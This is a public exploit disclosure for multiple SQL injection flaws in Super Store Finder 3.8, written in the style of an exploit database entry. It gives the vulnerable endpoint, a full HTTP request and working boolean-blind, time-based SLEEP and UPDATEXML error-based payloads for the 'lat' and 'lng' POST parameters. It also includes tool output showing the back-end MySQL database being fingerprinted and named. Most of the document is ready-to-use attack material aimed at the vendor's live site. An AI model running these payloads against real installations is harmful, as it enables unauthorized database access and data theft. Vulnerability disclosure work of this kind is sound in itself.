Super Store Finder 3.8 SQL Injection

# Exploit Title: Super Store Finder 3.8 - Multiple SQL Injection
# Exploit Author: CraCkEr
# Date: 26/08/2026
# Vendor: highwarden
# Vendor Homepage: https://codecanyon.net/item/super-store-finder/3630922
# Software Link: https://superstorefinder.net/products/superstorefinder/index.php
# Tested on: Windows 11 Pro
# Impact: Database Access
# CVE: CVE-2026-108541
# VDB: VDB-416196


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /products/superstorefinder/index.php

POST parameter 'lat' is vulnerable to SQLI
POST parameter 'lng' is vulnerable to SQLI


## HTTP Request

```
POST /products/superstorefinder/index.php HTTP/1.1
Host: superstorefinder.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:154.0) Gecko/20100101 Firefox/154.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Origin: https://superstorefinder.net
Referer: https://superstorefinder.net/products/superstorefinder/index.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

ajax=1&action=get_nearby_stores&distance=1&lat=[SQLI]&lng=[SQLI]&products=1
```

## PoC:


[+] current database

---
Parameter: lat (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace
    Payload: ajax=1&action=get_nearby_stores&distance=200&lat=(SELECT (CASE WHEN (06657=6657) THEN 03586 ELSE 3*(SELECT 2 UNION ALL SELECT 1) END))&lng=-74.0059728&products=347

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: ajax=1&action=get_nearby_stores&distance=200&lat=(SELECT(0)FROM(SELECT(SLEEP(8)))a)&lng=-74.0059728&products=347

Parameter: lng (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
    Payload: ajax=1&action=get_nearby_stores&distance=200&lat=40.7127753&lng=-74.0059728AND UPDATEXML(0,CONCAT_WS(0x28,0x7e,0x72306f746833783439,0x7e),0)&products=347

    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace
    Payload: ajax=1&action=get_nearby_stores&distance=200&lat=40.7127753&lng=(SELECT (CASE WHEN (02949=2949) THEN 03586 ELSE 3*(SELECT 2 UNION ALL SELECT 1) END))&products=347

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: ajax=1&action=get_nearby_stores&distance=200&lat=40.7127753&lng=(SELECT(0)FROM(SELECT(SLEEP(5)))a)&products=347
---

[14:04:43] [INFO] testing MySQL
[14:04:43] [INFO] confirming MySQL
[14:04:43] [INFO] the back-end DBMS is MySQL
[14:04:43] [INFO] fetching current database
[14:04:43] [INFO] resumed: '*********_***'
current database: '*********_***'


[-] Done